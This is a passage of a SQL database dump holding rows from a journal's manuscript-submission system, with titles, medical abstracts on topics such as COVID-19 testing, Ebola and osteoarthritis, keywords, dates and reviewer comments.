Surgery',NULL,5,0,'','\r\n','\r\n',2505,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'0','The manuscript compiled and submitted by Mr Garsaa aims to analyze patients suffering from perianal abscess treated during the past 3 years in one single Hospital in Bangor. The submitted file is incomplete and the manuscript is in the draft version. Abstract is missing. Introduction is extremely vague and superficial. more specific details and arguments in support of the proposed study are required. Materials and Methods are extremely poor and require revisiona nd editing. Results are preliminary and mainly related to demographic description. Histological or medical analysis are required.  Discussion is missing and conclusions are insufficient. limitations paragraph shoudl be incorporated in the Discussion. Notably, the file contains several ages left blank (intentionally or unintentionally). ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13111,13309,326,0,'IPJUS-22-13111','Oral Surgery: Materials and Methods',NULL,5,0,'','With the current widespread use of three-dimensional (3D) facial surface imaging in clinical and research environments, there is a growing demand for high-quality craniofacial norms based on 3D imaging technology. The principal goal of the 3D Facial Norms (3DFN) project was to create an interactive, Web-based repository of 3D facial images and measurements. Unlike other repositories, users can gain access to both summary-level statistics and individual-level data, including 3D facial landmark coordinates, 3D-derived anthropometric measurements, 3D facial surface images, and genotypes from every individual in the dataset. The 3DFN database currently consists of 2454 male and female participants ranging in age from 3 to 40 years. The subjects were recruited at four US sites and screened for a history of craniofacial conditions. The goal of this article is to introduce readers to the 3DFN repository by providing a general overview of the project, explaining the rationale behind the creation of the database, and describing the methods used to collect the data. Sex- and age-specific summary statistics (means and standard deviations) and growth curves for every anthropometric measurement in the 3DFN dataset are provided as a supplement available online. These summary statistics and growth curves can aid clinicians in the assessment of craniofacial dysmorphology.',' ',2505,NULL,'2022-10-06',NULL,'Submitted',2,NULL,'2022-11-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13112,13310,326,0,'IPJUS-22-13112','Implants surgery: Cardiovascular and Other organs and systems',NULL,5,0,'','An implant is a medical device manufactured to replace a missing biological structure, support a damaged biological structure, or enhance an existing biological structure. Medical implants are man-made devices, in contrast to a transplant, which is a transplanted biomedical tissue. The surface of implants that contact the body might be made of a biomedical material such as titanium, silicone, or apatite depending on what is the most functional. In some cases implants contain electronics, e.g. artificial pacemaker and cochlear implants. Some implants are bioactive, such as subcutaneous drug delivery devices in the form of implantable pills or drug-eluting stents.\r\nSensory and neurological implants are used for disorders affecting the major senses and the brain, as well as other neurological disorders. They are predominately used in the treatment of conditions such as cataract, glaucoma, keratoconus, and other visual impairments; otosclerosis and other hearing loss issues, as well as middle ear diseases such as otitis media; and neurological diseases such as epilepsy, Parkinson\'s disease, and treatment-resistant depression. Examples include the intraocular lens, intrastromal corneal ring segment, cochlear implant, tympanostomy tube, and neurostimulator.\r\n',' ',2505,NULL,'2022-10-06',NULL,'Submitted',2,NULL,'2022-11-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13113,13311,326,0,'IPJUS-22-13113','Pediatric Surgery and Methods',NULL,5,0,'','An effective case report delivers clear and valuable clinical or surgical information to the medical community. Case reports dealing with pediatric surgical issues raise the medical community\'s awareness of rare diseases, unusual presentations of common disorders, or novel surgical or nonsurgical treatment approaches. Thus, case reports contribute substantially to medical advance by sharing remarkable or unexpected findings. For this reason, case reports should be prepared with vigilance, and current conventions on good medial writing practice should be observed. This guideline aims to assist clinicians and surgeons in the successful publishing of a compelling case report in pediatric surgery that is read and understood by the intended audience.',' ',2505,NULL,'2022-10-06',NULL,'Submitted',2,NULL,'2022-11-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13114,13312,996,0,'ipar-22-13114','Glucosamine and Symptomatic Effects in Osteoarthritis',NULL,25,2,'','Over the last 20 years, several studies have investigated the ability of glucosamine sulfate to improve the symptoms (pain and function) and to delay the structural progression of osteoarthritis. There is now a large, convergent body of evidence that glucosamine sulfate, given at a daily oral dose of 1,500 mg, is able to significantly reduce the symptoms of osteoarthritis in the lower limbs. This dose of glucosamine sulfate has also been shown, in two independent studies, to prevent the joint space narrowing observed at the femorotibial compartment in patients with mild-to-moderate knee osteoarthritis. This effect also translated into a 50 % reduction in the incidence of osteoarthritis-related surgery of the lower limbs during a 5-year period following the withdrawal of the treatment. Some discrepancies have been described between the results of studies performed with a patent-protected formulation of glucosamine sulfate distributed as a drug and those having used glucosamine preparations purchased from global suppliers, packaged, and sold over-the-counter as nutritional supplements.\r\nFurthermore, an open study carried out by 252 physicians throughout Portugal evaluated the tolerability of GS in 1,208 patients. Patients were given, 500 mg GS orally, 3 times a day, for a mean period of 50.3 days. Most patients (88 %) reported no side effects. In the remaining 12 % of the study population, the reported adverse effects were generally mild and predominantly affected the gastrointestinal tract. All the reported complaints were reversible with discontinuation of GS. While some questions were raised regarding the role of glucosamine in glucose metabolism and the possibility of increased insulin resistance, a detailed review of scientific studies performed with GS ruled out this possibility and re-emphasized the safety of short- and long-term use of GS.\r\n','Glucosamine; Osteoarthritis; Treatment; Symptoms; Structure',3649,NULL,'2022-10-06',NULL,'Submitted',12,NULL,'2023-04-10',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13116,13314,45,0,'iphsj-22-13116','Disability and Quality of Life ',NULL,14,0,'','Objectives: To review methodological issues of disability measuring tools (DMTs) and Health-related Quality of life (HRQoL) and to transform item-scores and health-profiles to continuous scores satisfying desired properties \r\nMethod: Using data driven weights, item score are converted to equidistant score (E) and value of Health-profile is obtained as weighted sum (Y). E-scores and Y-scores are standardized separately to Z-scores and further transformed to proposed scores (P) in [1, 100]. Scale score as sum of item-wise P-scores follow Normal distribution. \r\nResults: P-scores offer better arithmetic aggregation, meaningful comparisons, relative importance of domains, predicting disability scores using HRQoL scores as predictors and statistical inferences for longitudinal or snap-shot data.  Methods described to obtain responsiveness, theoretical reliability, factorial validity and equivalent scores of different scales.\r\nDiscussion: Proposed scores satisfying desired properties facilitate parametric analysis and computing psychometric concepts have theoretical advantages including meaningfulness of operations, better comparisons and use HRQoL scores as predictor of disabilities.','Quality of Life, Likert item, Normal distribution, Reliability. Validity, Responsiveness',643,NULL,'2022-10-07',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13117,13031,45,0,'iphsj-22-13117','Detection of SARS-CoV-2 by Rapid Antigen Tests on Saliva Expected to Lower the Impact of Post COVID-19',NULL,14,0,'','Background\r\nMost people can fully recover from coronavirus disease 2019 (COVID-19), but some may remain with long-term side effects on several systems of the body including pulmonary, cardiovascular, nervous systems, as well as psychological effects. These effects appear to be independent of aged adults and those with more initial symptoms.\r\n\r\nSome individuals infected with SARS-CoV-2 will develop long-term symptoms. Definitions of this emerging disease vary, leading to complexity in advancing research and clinical policy development. During the pandemic, various terms have been used including long COVID, long-haul COVID, or post-COVID-19 status as used by the World Health Organization (WHO). \r\n\r\nDespite this, a global standardized clinical case definition is still lacking. Moreover, the lack of a single terminology and clinical case definition has been repeatedly cited as a barrier to advancing research and management of these patients. Antigen Rapid Test is one of the most effective detection methods for SARS-CoV-2 infections. This method improves test efficiency and can be used at home by reading simple operating instructions. If an infection is detected and isolated immediately, it can aid in effective protection. \r\nAim\r\nTo explore the efficiency of rapid antigen test on saliva within impact of post COVID-19, this study aims to evaluate performance of Citest SARS-CoV-2 (COVID-19) Antigen Rapid Test (Oral Fluid) by comparing the results with RT-PCR (Nasopharyngeal swab) method.\r\nMethods\r\nThe SARS-CoV-2 (COVID-19) Rapid Test (Oral Fluid) is a qualitative membrane-based immunoassay for the detection of SARS-CoV-2 Nucleocapsid protein Antigens in human oral fluid specimen.\r\nA clinical evaluation was conducted comparing the results obtained using the SARS-CoV-2 (COVID-19) Rapid Test (Oral Fluid) with RT-PCR (Nasopharyngeal swab) test results.\r\nResults\r\nSensitivity (94.3%): In total 297 PCR confirmed positive samples: 280 PCR confirmed positive samples were correctly detected by SARS-CoV-2 (COVID-19) Rapid Test (Oral Fluid). 17 false negative cases were reported. \r\nSpecificity (99.4%): In total 352 PCR confirmed negative samples: 350 PCR confirmed negative samples were correctly detected by SARS-CoV-2 (COVID-19) Rapid Test (Oral Fluid). 2 false positive cases were reported. \r\nAccuracy (97.1%): In total 649 PCR confirmed samples: 630 PCR confirmed samples were correctly detected by SARS-CoV-2 (COVID-19) Rapid Test (Oral Fluid). \r\n\r\nThe observed accuracy may vary depending on the prevalence of the virus in the population.\r\nConclusion\r\nCitest SARS-CoV-2 (COVID-19) Antigen Rapid Test (Oral Fluid) has potential benefit to detection, as the test kit has short turnaround times, easy to read operating procedure and can be used in decentralized testing. This finding suggests that rapid antigen testing could be an effective tool for rapid control of COVID-19. In addition, these tests can also be performed by a layperson or at home to initially identify COVID-19, which will limit the spread of the disease.','Key words: SARS-CoV-2, Post COVID-19, Antigen Rapid Test, Saliva',5388,NULL,'2022-10-10',NULL,'Submitted',2,NULL,'2022-10-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13118,12576,73,0,NULL,'Subcortical Unilateral Spatial Neglect is caused by White Matter Tracts in Subacute Stroke',NULL,14,0,'','','',332,NULL,'2022-10-13',NULL,'Submitted',4,NULL,'2022-11-04',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13119,13318,45,0,'iphsj-22-13119','A case report of frontoethimoidal encephalocele in a neonate',NULL,2,0,'','Encephalocele are herniation of cranial content through defect in the skull. Unlike western countries, anterior encephaloceles are the commonest types of encephalocele in southeast asia, part of Russia, and central Africa. Although diagnosis is usually clinical, imaging plays an important role in the characterization of the lesion. This paper presents the clinical presentation and surgical management of an 8 days old neonate with fronto ethimoidal encephalocele.','Encephalocele ,Neonate ,Frontoethimoidal',5279,NULL,'2022-10-14',NULL,'Submitted',2,NULL,'2022-11-30',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13120,13319,45,0,'iphsj-22-13120','Paternal post-natal depression. ',NULL,15,0,'','The psychology of the father during childbirth is of a limited research field in contrast to that of the mother (Pilyoung, 2007, Earls, 2019) and only in recent years have some study efforts been made in order to understand the magnitude of the problem. Post-natal depression to the father in severe cases can have negative effects on the psychological and emotional development of the child as well as on the relationship of the couple and that of the family in general (Wang, 2021). In this review we will attempt to survey the existing literature on paternal occurrence of melancholia/depression in puerperium.','Paternal postpartum depression, father, post-natal depression in dads, depression, sadness, post-birth, post-partum care, depression on new fathers. ',4076,NULL,'2022-10-14',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13121,13320,45,0,'iphsj-22-13121','Average daily change in SARS-CoV-2 reverse transcription polymerase chain reaction thresholds among elderly patients with COVID-19: A basis for the proposed determination of isolation periods',NULL,17,0,'','After a cluster of coronavirus disease 2019 (COVID-19) due to nosocomial infection occurred among elderly patients, I suspected that the isolation period for COVID-19 might be too short to protect patients and staff members. This study attempted to define an appropriate isolation period to minimize the risk of disease transmission. Nineteen patients contracted COVID-19 during an outbreak at the General Medicine Ward of Saitama Memorial Hospital, Japan, between July and August 2022. One patient died soon after the infection. For the remaining 18 patients, daily changes (Δ) in cycle threshold (CT) values were calculated using severe acute respiratory syndrome coronavirus-2 (SARS-CoV-2) reverse transcription polymerase chain reaction testing, which was performed at least twice. The isolation release date was based on data when the CT value reached 30, using Δ of the CT values. The isolation periods ranged from 8 to 32 days (median: 15.5 days). Isolation lasted for 25–32 days in three patients. In conclusion, the conventional isolation period of 10 days plus symptom-based extra days after onset appears to be too short to prevent nosocomial SARS-CoV-2 infection among the elderly. It would be necessary to define the isolation period based on the average Δ in CT values.','COVID-19, SARS-CoV-2 RT-PCR, cycle threshold value, isolation period, nosocomial infection',5388,NULL,'2022-10-16',NULL,'Submitted',2,NULL,'2022-10-31',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13123,12771,45,0,'iphsj-22-13123','QUALITY OF LIFE AMONG END STAGE RENAL DISEASE PATIENTS WITH HEMODIALYSIS, AT ARAR, KINGDOM OF SAUDIARABIA',NULL,14,0,' ','End-stage renal disease (ESRD) affects the lives of a disproportionate amount of people around the world today. It is estimated that there is 35% increase in the number of dialysis patients worldwide (Oxford Journals, February 2014). According to Ji.Cheng Lv and Lu-Xia-Zhang,2019) Chronic kidney disease (CKD) has been recognized as a leading public health problem worldwide. The global estimated prevalence of CKD is 13.4% (11.7-15.1%), and patients with end-stage kidney disease (ESKD) needing renal replacement therapy is estimated between 4.902 and 7.083 million. Through its effect on cardiovascular risk and ESKD, CKD directly affects the global burden of morbidity and mortality worldwide. The global increase in this disease is mainly driven by the increase in the prevalence of diabetes mellitus, hypertension, obesity, and aging.','ESRD patients , hemodialysis, renal disease',643,NULL,'2022-10-18',NULL,'Submitted',2,NULL,'2022-11-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13124,13323,251,0,'ipacm-22-13124','Colonization of School Children (Age less than 5 years) Lunch Box by bacterial Pathogens Associated with Infant Diarrhea in Shomolu Local Government Area, Lagos, Nigeria',NULL,14,0,'','Introduction: The incidence of Infant diarrheal disease is a global problem which is more prevalent in developing countries. The survey was conducted to evaluate infant diarrhea, among school children and implicated bacterial pathogens in Shomolu Local Government Area, Lagos State, Nigeria. \r\nMaterials and Methods: Ethical permissions were obtained, research questionnaires were administered to mothers with children below five years old and forty five samples i.e., lunch boxes/baskets obtained in groups of nine at five different schools within the study area were used for the analysis. Research questions were generated, various hypotheses were tested, and analysis of questionnaires (using SPSS Data analysis), case records and laboratory results were appropriately analyzed using conventional methods of isolating both enterobacteriaceae and other Gram positive organisms as basis for generating inferences in the study. \r\nResult: All the examined lunch boxes/baskets were contaminated with at least two bacterial species and five bacteria species were recovered from the samples namely; Staphylococcus aureus, Escherichia coli, Salmonella typhi, Shigella dysenteriae and Pseudomonas aeruginosa. Staphylococcus aureus (29.4%) was the most frequent isolates followed by Shigella dysenteriae (26.5%), Salmonella typhi (24.5%) and Pseudomonas aeruginosa (11.8%) while Escherichia coli (7.8%) were the least frequent isolates. \r\n Conclusion: Unhygienic practices, inadequate education and knowledge about basic food safety issues were responsible frequent diarrhea episodes. Food safety education of the target population and enforcement of existing laws on environmental sanitation and hygiene as a basic preventive strategy is hereby recommended.\r\n',' Infant diarrhea; Lunch box, pathogens; contaminant; hygiene\r\n\r\n',777,NULL,'2022-10-19',NULL,'Submitted',2,NULL,'2022-11-14',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13125,13324,86,0,'ipaom-22-13125','SEXUAL BEHAVIOUR AND HIV RELATED KNOWLEDGE AMONG UNDERGRADUATE STUDENTS OF OBAFEMI AWOLOWO UNIVERSITY, ILE-IFE, NIGERIA',NULL,14,0,'','INTRODUCTION: Human Immunodeficiency Virus/Acquired Immune Deficiency Syndrome (HIV/AIDS) poses a major public health problem as it affects hundreds of millions of people globally with reaching health, social and economic consequences. This study investigated adequate knowledge, awareness of HIV/AIDS among university students needful to promote health and sexual behaviour as key factors that could enhance interventions, preventions and control policies.\r\nMATERIALS AND METHODS: Cross sectional descriptive survey method was used to elicit data from 360 undergraduate student-respondents of the Obafemi Awolowo University, Nigeria using structural questionnaires between June and September, 2016. Statistical analysis was conducted using SPSS to determine frequency, percentage and Chi square for data analysis.\r\nRESULTS:  Out of 360 questionnaires administered, 357 were received. 180 (50.4%) were males while 177 (49.6%) were females. Highest respondents were of age group 15 – 20 years (54.9%) who were basically 100 level students (39.9%) which constituted the highest category. 7.3% of respondents had the misconception of HIV while 12.9% of respondents believed HIV can be transmitted through mosquito bites. Most of the respondents were aware that there not yet any cure for HIV/AIDS. 92.2% of respondents presented correct response to questions on HIV/AIDS. Majority of the students (77%) had never had sexual intercourse, 12.7% of respondents were sexually active. 0.6% were married. 14.9% of respondents had multiple sexual partners, 16.5% had ever used condoms during sexual intercourse while 60.8% supported the use of condoms where reasons for non-support include religious and cultural beliefs. 97.5% believed HIV exists, 34.7% had done HIV test whereas 8.1% of respondents had no sexual partners. Out of 53 (14.9%) who had multiple sexual partners, 13(3.7%) perceived themselves at risk while respondents 4 (1.1%) who had had more than five sexual partners one year preceding the study did not perceive themselves at risk (p = 0.024). 50% of respondents who had had sex with commercial sex workers or unknown persons 6 (1.7%) perceived themselves at being at risk of contracting HIV (p = 0.000). \r\n CONCLUSION: In order to develop an effective HIV preventive strategy, HIV/AIDS programme should focus not only on abstinence, avoiding multiple sexual partners, consistent usage of condoms but also on influencing risk perception to promote safer sex practices. It is highly imperative that student community in the university be effectively educated on family planning and reproductive health so as to redeem the loose life style.   \r\n','Human Immunodeficiency Virus ; University students; Respondents’ Adolescent; Infections',3031,NULL,'2022-10-19',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13126,13322,959,0,'ipacr-22-13126','C1QA and C1QB Prognosis of Osteosarcoma',NULL,14,2,'cancer Research','','',5400,NULL,'2022-10-19',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13127,13326,85,0,'iphspr-22-13127','Massachusetts community health In COVID-19 by Health system',NULL,5,0,'','For low-income and uninsured people, Community Health Centers are an essential source of medical treatment. In order to include the people they serve in COVID-19 testing during the pandemic, CHCs have taken advantage of their infrastructure and position as a reliable provider of care. Methods We created a study of community-engaged COVID-19 testing expansion to quickly disseminate efficient implementation strategies, accelerate COVID-19 testing, and address key barriers to testing participation in communities at increased risk for COVID19. To directly address the effects that COVID-19 has had on historically marginalised populations in Massachusetts. In order to promote community outreach, communication and science translation procedures must be developed. We compare the overall and among individuals classified as members of high-risk groups served by intervention CHCs in Massachusetts to six matched control CHCs using a controlled interrupted time series design. We next utilise a stepped wedge design to pilot test different CHC outreach tactics. Conclusions Here, we provide a community-based approach to accelerating COVID-19 testing in historically underserved groups, which gives CHCs continuous support for satisfying testing requirements in their local communities. The project adheres to the fundamentals of community-engaged research, such as sharing leadership, providing sufficient resources for community partners, and being adaptable enough to address changing requirements over time.','Community health centers; COVID-19 testing; Community-engaged research; Health equity; Implementation science',3282,NULL,'2022-10-19',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13128,13327,85,0,'iphspr-22-13128','In COVID-19 pandemic time experiences of community-based health actors during covid',NULL,5,0,'','There is a lack of clarity regarding who is included in this ecosystem of actors and how these actors experience the complexity of providing community-level care in the context of a public health emergency, despite the fact that community-based health actors\' activities are widely acknowledged as being essential to pandemic response. The purpose of this study was to describe the real-world experiences of community-based health workers during the COVID-19 epidemic in the Philippines and to find new ways to assist these vital members of the medical community. 28 employees of a non-governmental organisation with roots in the Philippines participated in virtual semi-structured interviews to talk about their COVID-19 pandemic experiences. A mixed inductive-deductive coding procedure was used to evaluate the data thematically, guided by Tronto\'s definition of an ethic. of caution Participants\' lived experiences were influenced by discourses on fear, caring, and the interplay of these two emotions. Participants described their daily experiences with dread.','Community-based health care; Ethic of care; COVID-19 pandemic; Lived experience.',3282,NULL,'2022-10-19',NULL,'Submitted',2,NULL,'2022-11-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13129,13328,85,0,NULL,'Community health Challenges faced by nurses of Myanmar',NULL,19,0,'','In order to attain universal health coverage in Myanmar, this study sought to uncover the difficulties faced by community health nurses in providing quality community health care. Methods For the quantitative and qualitative interviews, a total of 30 CHNs from township health clinics in Myanmar\'s northeast, south, and west were specifically sought out. Microsoft Excel was used to handle the quantitative data, while theme analysis was used to examine the qualitative data. The research registry 6201 has this study listed as registered. Results Thirty CHNs from throughout the nation revealed the challenges they faced when adopting primary healthcare to attain UHC. Over 90% of the participants acknowledged the issue of insufficient healthcare infrastructure, yet 50% of them reported feeling uninspired when they came across role conflicts between different cadres of healthcare professionals and limited prospects for advancement. career advancement Due to the fact that the majority of CHNs did not complete specialised training in delivering public health services, there were significant issues with the absence of basic professional education at the entrance point to community settings. The inability to undertake health research to create evidence-based practises and the incapacity to evaluate health care for policy-making are complications. In order to gain a greater understanding of the obstacles to UHC, CHNs studied a number of main topics, including unstable living and working arrangements, unhelpful interpersonal interactions, and inadequate professional training. The population and other geographical considerations, in addition to the health system itself, have led to several difficulties for CHNs.','Community health nurses ; Community health services; Professional practice; Social conditions',3282,NULL,'2022-10-19',NULL,'Submitted',4,NULL,'2022-11-10',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13130,13329,91,0,'ijddr-22-13130','A Population Pharmacokinetic Model for Cyclosporine is Being Developed Using Therapeutic Drug Monitoring Data',NULL,5,0,'','To create a population pharmacokinetic model for TDM that can be used for Uruguayan patients receiving cyclosporine (CsA) medication. Methods and Patients, There were 53 patients in all who were receiving CsA treatment. The remaining 16 patients were taken into account for the evaluation of the predictive performances while the remaining 37 patients with at least one pharmacokinetic profile described with four samples were taken into consideration for model development. The Monolix software\'s nonlinear mixed effect modelling was used to estimate pharmacokinetic parameters, and the mlxR module in R 3.6.0 was used to run simulations. As a structural model, a two-compartment model with a first-order disposition model that takes lag time into account was adopted. Alpha-synucleinopathies and other neurodegenerative illnesses are currently being treated with therapeutic approaches that focus on increasing drug absorption into the brain. The suggested methods, such intranasal administration, should be able to get over the blood-brain barrier (BBB), and even when administered directly intracerebrally, they could need a carrier to speed up local drug release. We looked into how much alpha-synuclein aggregates there were in cultured cells using a model synthetic hydrogel that will be employed as a drug delivery system. The findings suggested that the synthetic polymer had an impact on alpha-synuclein aggregation and that it was important to examine any material\'s impact on the pathological process before using it as a medication carrier.','Neurodegenerative; Synucleinopathies',4616,NULL,'2022-10-21',NULL,'Submitted',2,NULL,'2022-11-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13131,13330,91,0,'ijddr-22-13131','Herbal Treatment: An Alternative Therapy for the Recovery of Gastric Ulcers Caused by Nonsteroidal Anti-Inflammatory Drugs',NULL,5,0,'','Chinese herbal medicines (CHMs) have been used successfully to treat infectious disorders, however it is yet unknown how well they work to cure infections caused by XDRE, or extensively drug-resistant enterobacteria. Here, we developed a retrospective multicenter study with 766 patients who had both nonfermentative bacteria (NFB) and XDRE infections to examine the efficacy of CHMs in combination with antibiotics in treating XDRE infections in a cohort of patients and to compare it to standard antibiotic monotherapy. After a 14-day course of treatment, the 547 patients who had agreed to CHMs and antibiotic therapy did so with a higher level of satisfaction than the 219 patients who had received antibiotic monotherapy. White blood cell count (WBC) and neutrophil percentage (N%) were the two main assessment indicators. The secondary evaluation indices included body temperature, breath rate, heart rate, platelets, haemoglobin, red blood cell, albumin, creatinine, glucose, and 28-day survival rates. Briefly stated, in our experience, CHMs combined with antibiotic therapy resulted in more desirable effectiveness in treating XDRE infections than antibiotic monotherapy, and CHMs may be an extremely valuable resource in the field of managing XDRE infections and illuminating the research and development of new antibiotics. Nonsteroidal anti-inflammatory drugs (NSAIDs) are among the most frequently prescribed therapeutic drug classes used globally to treat a wide range of medical conditions, including pain, inflammation, cardiovascular complications, and many other diseases. However, NSAIDs may have adverse effects, including gastroduodenal disorders. Therefore, there is a rising interest in and need for finding safe, antiulcer plant-based formulations to treat gastric ulcers brought on by NSAID use. Numerous natural plants, including Camellia sinensis, Phyllanthus emblica, Myristica malabarica, Piper betle, Picrorhiza kurroa, and others, have been the subject of extensive research. These plants\' active constituents have been shown to inhibit NSAID-induced gastric ulcers through their antioxidative and immunomodulatory activity. As a result, using herbal remedies regularly may help to reduce other negative effects such stomach ulcers caused by NSAIDs.','Herbal; Nonsteroidal',4940,NULL,'2022-10-21',NULL,'Submitted',2,NULL,'2022-11-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13132,13331,86,0,'ipaom-22-13132','Tuberculous Psoas Abscess',NULL,23,2,'','nil','',5013,NULL,'2022-10-25',NULL,'Submitted',14,NULL,'2022-11-25',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13133,13332,91,0,'ijddr-22-13133','Ethosomes: Versatile vesicular carriers for effective medicinal drug transdermal administration',NULL,5,0,'','Drugs can be delivered using Ethosomes, which are non-invasive delivery systems, to deep skin layers and/or the systemic circulation. Though conceptually complex, ethosomal systems are distinguished by their ease of preparation, safety, and effectiveness a combination that can greatly increase their utility. Ethosomes are flexible, squishy vesicles designed for better active drug distribution. This page discusses research done using several ethosomal systems and a wide variety of medications using in vitro, in vivo, animal models, and human subjects. Ethosomes\' special structure allows them to enclose and transmit through the skin highly lipophilic substances like propranolol and trihexyphenidil as well as cationic medicines like testosterone and minoxidil. The treatment with the ethosomal acyclovir formulation significantly improved all the examined parameters, according to the findings of a double-blind, two-armed, randomised clinical investigation. It was discovered during preliminary research with insulin and plasmids that the ethosomal carrier may be used to improve the delivery of these medicines. In subsequent research, the ethosomal technique was expanded to allow the introduction of chemicals into microbes and cultivated cells. The research and future development of novel, improved therapeutics are faced with a number of obstacles and opportunities due to the enhanced delivery of bioactive chemicals via the skin and cellular membranes via an ethosomal carrier.','Ethosomes, transdermal, vesicular carriers, ethanol, phospholipid.',5255,NULL,'2022-10-26',NULL,'Submitted',2,NULL,'2022-11-10',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13134,13334,639,0,'ipfs-22-13134','External Protozoan Parasites of Sarowa Fish (Trachurus mediterraneus ) from Mediterranean Sea at Zliten Coastal Area, Libya',NULL,5,0,'','The aim of this study to conduct general survey of external protozoan parasites on (Sawrow)   Trachurus mediterraneus from the Mediterranean Sea at coastal area of Zliten city, Lybia. Atotal of 12 specimens of fish species namely Trachurus mediterraneus were collected randomly. The fish were transported immediately alive to the laboratory in the Division of Marine Organisms and Fish Culture, College of Marine Resources, Asmarya University, where they were maintained alive in well aerated glass aquaria. External examination of each of fish for parasites was carried out. The study revealed different types of ciliates include Trichodina spp., Ichthyophthyrus spp., Epstylis spp., Chillodenella spp., Trichophyra spp. and Vorticella spp. and different type of flagellate which include, Amyloodinium spp., Cryptocaryon spp. Piscinoodinium spp. Vorticella spp.and Cryptobia spp. with density .83 in skin and .58 in the gill.','Marine protozoa, fish, costal area, Zliten',1773,NULL,'2022-10-26',NULL,'Submitted',2,NULL,'2023-01-17',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,0,NULL,0),(13135,13335,251,0,'ipacm-22-13135','Diagnosis and Treatment of Ebola Virus',NULL,5,0,'','Five genetically distinct members of the Filoviridae family responsible for EHF are as follows: Zaire ebolavirus, Sudan ebolavirus, Côte d’Ivoire ebolavirus, Bundibugyo ebolavirus and Reston ebolavirus. The ongoing 2014 West Africa ebola epidemic has been considered as the most serious panic in the medical field with respect to both the number of human cases and death toll. The natural host for ebola virus is unknown, thus it is not possible to carry out programs to regulate or abolish virus from transmission to people. The ebola virus infection provides little chance to develop acquired immunity causing rapid progression of the disease. It is pertinent to mention that at present, there is no antiviral therapy or vaccine that is helpful against ebola virus infection in humans. The impediment of EHF necessitates much better understanding of the epidemiology of the disease, particularly the role of wildlife, as well as bats, in the spread of ebola virus to humans.',' ',789,NULL,'2022-10-26',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13137,13337,251,0,'ipacm-22-13137','Ebola virus disease: Transmission and Treatments',NULL,5,0,'','Ebola virus disease is one of the most deadly ailments known to mankind due to its high mortality rate (up to 90%) accompanying with the disease. Ebola haemorrhagic fever (EHF) is an infectious disease of animal that can be transmitted to both human and non-human primates. The first epidemic of EHF occurred in 1976 in the Democratic Republic of the Congo. The incubation period of ebola is less than 21 days. Ebola virus infections are depicted by immune suppression and a systemic inflammatory response that leads to damage of the vascular, coagulation and immune systems, causing multi-organ failure and shock.',' ',789,NULL,'2022-10-26',NULL,'Submitted',2,NULL,'2022-11-02',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13139,13339,326,0,'IPJUS-22-13139','Cardiac surgery Types and Materials and Methods',NULL,5,0,'','Cardiac surgery is the specialty of medicine concerning the surgical treatment of pathologies related to the heart and thoracic aorta. The spectrum of modern cardiac surgery can be understood by its history beginning at the end of the 19th century. Since then cardiac surgery developed through the work of numerous dedicated surgeons offering more and more treatments for diverse cardiac pathology. This development is still ongoing today. ',' ',2505,NULL,'2022-10-26',NULL,'Submitted',2,NULL,'2022-11-05',NULL,1,1,'0','The study proposed by the author is mono-centric, retrospective observational study on patients undergoing open-heart surgery during the past 12 months. The aim can be of some level of interest for selective audience. The analysis and patients description are quite critical to further process such manuscript. The manuscript version submitted is incomplete. The version submitted by the author contains exclusively a very short abstract (whose revision and editing is suggested), a generic Introduction and part of Material and Methods. All the othe rpart are missing. We encourge the authors to reconsider and eventually resubmit the manuscript once completed. ',0,'','',NULL,0,0,0,NULL,0),(13140,13340,996,0,'ipar-22-13140','Polymyalgia Rheumatic: Treatment',NULL,5,2,'','Polymyalgia rheumatic (PMR) is one of the most common inflammatory rheumatologic diseases in the elderly and is characterized by a specific clinical picture. Recently, a core set of provisional classification criteria was designed by the European League against Rheumatism and the American College of Rheumatology to provide a validated tool to differentiate PMR from nonpolymyalgic chronic inflammatory disorders. The high inflammatory burden characterizing this disease at onset accounts, at least in part, for the increased incidence of subclinical atherosclerosis detected in these patients. Moreover, although an increased mortality for cardiovascular (CV) causes has not been clearly demonstrated, patients with PMR display a significantly higher risk of overt CV events with respect to age and sex-matched control subjects, independent of traditional CV risk factors. Low-dose glucocorticoids (GC) are the mainstay of treatment of PMR. Introduction of GC-sparing immunosuppressive drugs may be indicated for patients displaying frequent disease relapses or for that experiencing disease recurrence following GC discontinuation.',' 